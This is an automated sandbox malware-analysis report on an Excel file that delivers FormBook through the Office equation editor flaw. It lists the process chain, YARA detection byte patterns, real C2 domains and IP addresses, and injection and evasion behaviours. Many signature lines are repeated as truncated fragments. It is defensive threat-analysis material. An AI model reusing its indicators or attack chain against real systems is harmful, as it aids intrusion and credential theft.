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OLE File "PI202009255687.xlsx"
Indicators
Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64
General
Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112
General
Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size: 200
General
Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76
General
Stream Path: EncryptedPackage, File Type: COM executable for DOS, Stream Size: 2600648
General
Stream Path: EncryptionInfo, File Type: data, Stream Size: 224
General

Network Behavior
Snort IDS Alerts
Network Port Distribution
TCP Packets
UDP Packets
DNS Queries
DNS Answers
HTTP Request Dependency Graph
HTTP Packets

Code Manipulations
User Modules

Hook Summary
Processes

Statistics
Behavior

System Behavior
Analysis Process: EXCEL.EXE PID: 2248 Parent PID: 584

General
File Activities

File Written

Registry Activities
Key Created
Key Value Created

Analysis Process: EQNEDT32.EXE PID: 2736 Parent PID: 584
General
File Activities
Registry Activities

Key Created

Analysis Process: vbc.exe PID: 2816 Parent PID: 2736
General
File Activities

File Read

Analysis Process: vbc.exe PID: 2484 Parent PID: 2816
General
File Activities

File Read

Analysis Process: explorer.exe PID: 1388 Parent PID: 2484
General
File Activities

Analysis Process: wscript.exe PID: 268 Parent PID: 1388
General
File Activities

File Read

Analysis Process: cmd.exe PID: 2228 Parent PID: 268
General
File Activities

File Deleted

Disassembly
Code Analysis
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Analysis Report PI202009255687.xlsx

Overview

General Information

Sample 
Name:

PI202009255687.xlsx

Analysis ID: 323042

MD5: d7c0c12c1cdf36e…

SHA1: e73e8bd48f5ef68…

SHA256: 76b2d9b4655b8a…

Tags: Formbook VelvetSweatsho

p xlsx

Most interesting Screenshot:

Detection

FormBookFormBook

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for doma

Multi AV Scanner detection for domaMulti AV Scanner detection for doma……

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for droppMulti AV Scanner detection for dropp……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince vi

Office document tries to convince viOffice document tries to convince vi……

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers Exploiting

Sigma detected: Droppers ExploitingSigma detected: Droppers Exploiting……

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE c

Sigma detected: EQNEDT32.EXE cSigma detected: EQNEDT32.EXE c……

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQ

Sigma detected: File Dropped By EQSigma detected: File Dropped By EQ……

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.Snort IDS alert for network traffic (e.……

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBookYara detected FormBook

Drops PE files to the user root direc

Drops PE files to the user root direc

Drops PE files to the user root direc

Drops PE files to the user root direc

Drops PE files to the user root direc

Drops PE files to the user root direc

Drops PE files to the user root direcDrops PE files to the user root direc……

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for droppMachine Learning detection for dropp……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in aModifies the context of a thread in a……

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode funModifies the prolog of user mode fun……

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE file

Office equation editor drops PE fileOffice equation editor drops PE file

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts process

Office equation editor starts processOffice equation editor starts process……

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process Queues an APC in another process ……

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing techSample uses process hollowing tech……

Sigma detected: Executables Starte

Sigma detected: Executables Starte

Sigma detected: Executables Starte

Sigma detected: Executables Starte

Sigma detected: Executables Starte

Sigma detected: Executables Starte

Sigma detected: Executables StarteSigma detected: Executables Starte……

Sigma detected: Execution in Non-E

Sigma detected: Execution in Non-E

Sigma detected: Execution in Non-E

Sigma detected: Execution in Non-E

Sigma detected: Execution in Non-E

Sigma detected: Execution in Non-E

Sigma detected: Execution in Non-ESigma detected: Execution in Non-E……

Sigma detected: Suspicious Program

Sigma detected: Suspicious Program

Sigma detected: Suspicious Program

Sigma detected: Suspicious Program

Sigma detected: Suspicious Program

Sigma detected: Suspicious Program

Sigma detected: Suspicious ProgramSigma detected: Suspicious Program……

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization throughTries to detect virtualization through……

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whic

Allocates memory within range whicAllocates memory within range whic……

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution Contains functionality for execution ……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a dContains functionality to check if a d……

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamicallyContains functionality to dynamically……

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query locale

Contains functionality to query localeContains functionality to query locale……

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE str

Document misses a certain OLE strDocument misses a certain OLE str……

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTT

Downloads executable code via HTTDownloads executable code via HTT……

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE filesDrops PE files

Drops PE files to the user directory

Drops PE files to the user directory

Drops PE files to the user directory

Drops PE files to the user directory

Drops PE files to the user directory

Drops PE files to the user directory

Drops PE files to the user directoryDrops PE files to the user directory

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likelyFound inlined nop instructions (likely……

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / aFound potential string decryption / a……

Classification

Malware Configuration

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w7x64

EXCEL.EXE (PID: 2248 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

EQNEDT32.EXE (PID: 2736 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: 

A87236E214F6D42A65F5DEDAC816AEC8)
vbc.exe (PID: 2816 cmdline: 'C:\Users\Public\vbc.exe'  MD5: E54D832CB872B7DC086AB7A7878D38FB)

vbc.exe (PID: 2484 cmdline: C:\Users\Public\vbc.exe MD5: E54D832CB872B7DC086AB7A7878D38FB)

explorer.exe (PID: 1388 cmdline:  MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

wscript.exe (PID: 268 cmdline: C:\Windows\SysWOW64\wscript.exe MD5: 979D74799EA6C8B8167869A68DF5204A)

cmd.exe (PID: 2228 cmdline: /c del 'C:\Users\Public\vbc.exe' MD5: AD7B9C14083B52BC532FBA5948342B98)

cleanup

No configs have been found

Source Rule Description Author Strings

00000009.00000002.2389315305.00000000001
D0000.00000040.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

Startup

Yara Overview

Memory Dumps

Copyright null 2020 Page 4 of 35



00000009.00000002.2389315305.00000000001
D0000.00000040.00000001.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

00000009.00000002.2389315305.00000000001
D0000.00000040.00000001.sdmp

Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x18409:$sqlite3step: 68 34 1C 7B E1
0x1851c:$sqlite3step: 68 34 1C 7B E1
0x18438:$sqlite3text: 68 38 2A 90 C5
0x1855d:$sqlite3text: 68 38 2A 90 C5
0x1844b:$sqlite3blob: 68 53 D8 7F 8C
0x18573:$sqlite3blob: 68 53 D8 7F 8C

00000009.00000002.2389221261.0000000000070000.0000
0040.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

00000009.00000002.2389221261.0000000000070000.0000
0040.00000001.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 16 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

6.2.vbc.exe.400000.1.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

6.2.vbc.exe.400000.1.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8ae8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8d62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x14885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x14371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x14aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x977a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x135ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa473:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1a527:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1b52a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

6.2.vbc.exe.400000.1.unpack Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x17609:$sqlite3step: 68 34 1C 7B E1
0x1771c:$sqlite3step: 68 34 1C 7B E1
0x17638:$sqlite3text: 68 38 2A 90 C5
0x1775d:$sqlite3text: 68 38 2A 90 C5
0x1764b:$sqlite3blob: 68 53 D8 7F 8C
0x17773:$sqlite3blob: 68 53 D8 7F 8C

6.2.vbc.exe.400000.1.raw.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

6.2.vbc.exe.400000.1.raw.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 4 entries

Unpacked PEs
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Sigma Overview

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Sigma detected: Executables Started in Suspicious Folder

Sigma detected: Execution in Non-Executable Folder

Sigma detected: Suspicious Program Location Process Starts

Signature Overview

• AV Detection

• Exploits

• Software Vulnerabilities

• Networking

• E-Banking Fraud

• System Summary

• Data Obfuscation

• Persistence and Installation Behavior

• Boot Survival

• Hooking and other Techniques for Hiding and Protection

• Malware Analysis System Evasion

• Anti Debugging

• HIPS / PFW / Operating System Protection Evasion

• Language, Device and Operating System Detection

• Stealing of Sensitive Information

• Remote Access Functionality

Click to jump to signature section

AV Detection:

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected FormBook

Machine Learning detection for dropped file

Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

E-Banking Fraud:

Yara detected FormBook

System Summary:

Malicious sample detected (through community Yara rule)

Copyright null 2020 Page 6 of 35



Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Office equation editor drops PE file

Boot Survival:

Drops PE files to the user root directory

Hooking and other Techniques for Hiding and Protection:

Modifies the prolog of user mode functions (user mode inline hooks)

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Valid
Accounts

Native API 1 Path
Interception

Process
Injection 5 1 2

Rootkit 1 Credential
API
Hooking 1

System Time
Discovery 2

Remote
Services

Credential
API
Hooking 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1

Eavesdrop on
Insecure
Network
Communication

Default
Accounts

Shared
Modules 1

Boot or
Logon
Initialization
Scripts

Boot or Logon
Initialization
Scripts

Masquerading 1 1 1 LSASS
Memory

Security Software
Discovery 2 3 1

Remote
Desktop
Protocol

Archive
Collected
Data 1

Exfiltration
Over
Bluetooth

Ingress Tool
Transfer 1 4

Exploit SS7 to
Redirect Phone
Calls/SMS

Domain
Accounts

Exploitation for
Client
Execution 1 3

Logon Script
(Windows)

Logon Script
(Windows)

Disable or Modify
Tools 1

Security
Account
Manager

Virtualization/Sandbox
Evasion 2

SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

Non-
Application
Layer
Protocol 3

Exploit SS7 to
Track Device
Location

Local
Accounts

At (Windows) Logon Script
(Mac)

Logon Script
(Mac)

Virtualization/Sandbox
Evasion 2

NTDS Process Discovery 2 Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Application
Layer
Protocol 2 3

SIM Card
Swap

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Process
Injection 5 1 2

LSA
Secrets

Remote System
Discovery 1

SSH Keylogging Data
Transfer
Size Limits

Fallback
Channels

Manipulate
Device
Communication

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Deobfuscate/Decode
Files or Information 1

Cached
Domain
Credentials

File and Directory
Discovery 1

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

Jamming or
Denial of
Service
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External
Remote
Services

Scheduled Task Startup
Items

Startup Items Obfuscated Files or
Information 3 1

DCSync System Information
Discovery 1 1 3

Windows
Remote
Management

Web Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly
Used Port

Rogue Wi-Fi
Access Points

Drive-by
Compromise

Command and
Scripting
Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

Software Packing 1 Proc
Filesystem

Network Service
Scanning

Shared
Webroot

Credential
API
Hooking

Exfiltration
Over
Symmetric
Encrypted
Non-C2
Protocol

Application
Layer Protocol

Downgrade to
Insecure
Protocols

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Behavior Graph

ID: 323042

Sample: PI202009255687.xlsx

Startdate: 26/11/2020

Architecture: WINDOWS

Score: 100

Snort IDS alert for
network traffic (e.g.

based on Emerging Threat
rules)

Multi AV Scanner detection
for domain / URL

Malicious sample detected
(through community Yara

rule)
14 other signatures

EQNEDT32.EXE

12

        started       

EXCEL.EXE

37 19

        started       

wsdyneverwalkachinese2loneinlifekwsfnv.ydns.eu

103.141.138.87, 49167, 80

VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN

Viet Nam

C:\Users\user\AppData\Local\...\winlog[1].exe, PE32

dropped

C:\Users\Public\vbc.exe, PE32

dropped

Office equation editor
starts processes (likely

CVE 2017-11882 or CVE-2018-0802)

vbc.exe

        started       C:\Users\user\Desktop\~$PI202009255687.xlsx, data

dropped

Multi AV Scanner detection
for dropped file

Machine Learning detection
for dropped file

Maps a DLL or memory
area into another process

Tries to detect virtualization
through RDTSC time measurements

vbc.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Sample uses process
hollowing technique

Queues an APC in another
process (thread injection)

explorer.exe

injected

lygosfilms.info

34.102.136.180, 49168, 80

GOOGLEUS

United States

paletciniz.com

160.153.138.53, 49169, 80

GODADDY-AMSDE

United States

3 other IPs or domains

System process connects
to network (likely due
to code injection or

exploit)

wscript.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Tries to detect virtualization
through RDTSC time measurements

cmd.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Graph

Screenshots
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Source Detection Scanner Label Link

PI202009255687.xlsx 25% ReversingLabs Document-
Word.Trojan.Phishing

Source Detection Scanner Label Link

C:\Users\Public\vbc.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1
P\winlog[1].exe

100% Joe Sandbox ML

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1
P\winlog[1].exe

31% ReversingLabs Win32.Trojan.Jaik

C:\Users\Public\vbc.exe 31% ReversingLabs Win32.Trojan.Jaik

Source Detection Scanner Label Link Download

6.2.vbc.exe.400000.1.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files
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Source Detection Scanner Label Link

wsdyneverwalkachinese2loneinlifekwsfnv.ydns.eu 6% Virustotal Browse

www.annaothomas.com 0% Virustotal Browse

Source Detection Scanner Label Link

www.mercadolivre.com.br/ 0% URL Reputation safe

www.mercadolivre.com.br/ 0% URL Reputation safe

www.mercadolivre.com.br/ 0% URL Reputation safe

www.merlin.com.pl/favicon.ico 0% URL Reputation safe

www.merlin.com.pl/favicon.ico 0% URL Reputation safe

www.merlin.com.pl/favicon.ico 0% URL Reputation safe

www.paletciniz.com/2019/08/creative-portfolio-freelance/ 0% Avira URL Cloud safe

www.dailymail.co.uk/ 0% URL Reputation safe

www.dailymail.co.uk/ 0% URL Reputation safe

www.dailymail.co.uk/ 0% URL Reputation safe

www.iis.fhg.de/audioPA 0% URL Reputation safe

www.iis.fhg.de/audioPA 0% URL Reputation safe

www.iis.fhg.de/audioPA 0% URL Reputation safe

www.paletciniz.com/2020/08/hello-world/#comment-1 0% Avira URL Cloud safe

image.excite.co.jp/jp/favicon/lep.ico 0% URL Reputation safe

image.excite.co.jp/jp/favicon/lep.ico 0% URL Reputation safe

image.excite.co.jp/jp/favicon/lep.ico 0% URL Reputation safe

%s.com 0% URL Reputation safe

%s.com 0% URL Reputation safe

%s.com 0% URL Reputation safe

https://secureservercdn.net/160.153.138.53/ovz.d03.myftpupload.com/wp-
includes/js/jquery/ui/core.min

0% Avira URL Cloud safe

busca.igbusca.com.br//app/static/images/favicon.ico 0% URL Reputation safe

busca.igbusca.com.br//app/static/images/favicon.ico 0% URL Reputation safe

busca.igbusca.com.br//app/static/images/favicon.ico 0% URL Reputation safe

https://secureservercdn.net/160.153.138.53/ovz.d03.myftpupload.com/wp-content/plugins/kioken-
blocks/

0% Avira URL Cloud safe

www.etmall.com.tw/favicon.ico 0% URL Reputation safe

www.etmall.com.tw/favicon.ico 0% URL Reputation safe

www.etmall.com.tw/favicon.ico 0% URL Reputation safe

it.search.dada.net/favicon.ico 0% URL Reputation safe

it.search.dada.net/favicon.ico 0% URL Reputation safe

it.search.dada.net/favicon.ico 0% URL Reputation safe

https://secureservercdn.net/160.153.138.53/ovz.d03.myftpupload.com/wp-content/plugins/otter-
blocks/v

0% Avira URL Cloud safe

search.hanafos.com/favicon.ico 0% URL Reputation safe

search.hanafos.com/favicon.ico 0% URL Reputation safe

search.hanafos.com/favicon.ico 0% URL Reputation safe

cgi.search.biglobe.ne.jp/favicon.ico 0% Avira URL Cloud safe

www.abril.com.br/favicon.ico 0% URL Reputation safe

www.abril.com.br/favicon.ico 0% URL Reputation safe

www.abril.com.br/favicon.ico 0% URL Reputation safe

search.msn.co.jp/results.aspx?q= 0% URL Reputation safe

search.msn.co.jp/results.aspx?q= 0% URL Reputation safe

search.msn.co.jp/results.aspx?q= 0% URL Reputation safe

buscar.ozu.es/ 0% Avira URL Cloud safe

busca.igbusca.com.br/ 0% URL Reputation safe

busca.igbusca.com.br/ 0% URL Reputation safe

busca.igbusca.com.br/ 0% URL Reputation safe

https://secureservercdn.net/160.153.138.53/ovz.d03.myftpupload.com/wp-
includes/wlwmanifest.xml?time=

0% Avira URL Cloud safe

www.paletciniz.com/d41d8-contact/ 0% Avira URL Cloud safe

search.auction.co.kr/ 0% URL Reputation safe

search.auction.co.kr/ 0% URL Reputation safe

search.auction.co.kr/ 0% URL Reputation safe

www.paletciniz.com/comments/feed/ 0% Avira URL Cloud safe

Domains

URLs
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https://secureservercdn.net/160.153.138.53/ovz.d03.myftpupload.com/wp-
content/uploads/2020/08/croppe

0% Avira URL Cloud safe

www.paletciniz.com/ 0% Avira URL Cloud safe

busca.buscape.com.br/favicon.ico 0% URL Reputation safe

busca.buscape.com.br/favicon.ico 0% URL Reputation safe

busca.buscape.com.br/favicon.ico 0% URL Reputation safe

www.pchome.com.tw/favicon.ico 0% URL Reputation safe

www.pchome.com.tw/favicon.ico 0% URL Reputation safe

www.pchome.com.tw/favicon.ico 0% URL Reputation safe

browse.guardian.co.uk/favicon.ico 0% URL Reputation safe

browse.guardian.co.uk/favicon.ico 0% URL Reputation safe

browse.guardian.co.uk/favicon.ico 0% URL Reputation safe

google.pchome.com.tw/ 0% URL Reputation safe

google.pchome.com.tw/ 0% URL Reputation safe

google.pchome.com.tw/ 0% URL Reputation safe

www.ozu.es/favicon.ico 0% Avira URL Cloud safe

search.yahoo.co.jp/favicon.ico 0% URL Reputation safe

search.yahoo.co.jp/favicon.ico 0% URL Reputation safe

search.yahoo.co.jp/favicon.ico 0% URL Reputation safe

www.gmarket.co.kr/ 0% URL Reputation safe

www.gmarket.co.kr/ 0% URL Reputation safe

www.gmarket.co.kr/ 0% URL Reputation safe

searchresults.news.com.au/ 0% URL Reputation safe

searchresults.news.com.au/ 0% URL Reputation safe

searchresults.news.com.au/ 0% URL Reputation safe

www.paletciniz.com/d41d8-blog/ 0% Avira URL Cloud safe

www.paletciniz.com/wp-json/ 0% Avira URL Cloud safe

www.asharqalawsat.com/ 0% URL Reputation safe

www.asharqalawsat.com/ 0% URL Reputation safe

www.asharqalawsat.com/ 0% URL Reputation safe

search.yahoo.co.jp 0% URL Reputation safe

search.yahoo.co.jp 0% URL Reputation safe

search.yahoo.co.jp 0% URL Reputation safe

www.paletciniz.com/feed/ 0% Avira URL Cloud safe

buscador.terra.es/ 0% URL Reputation safe

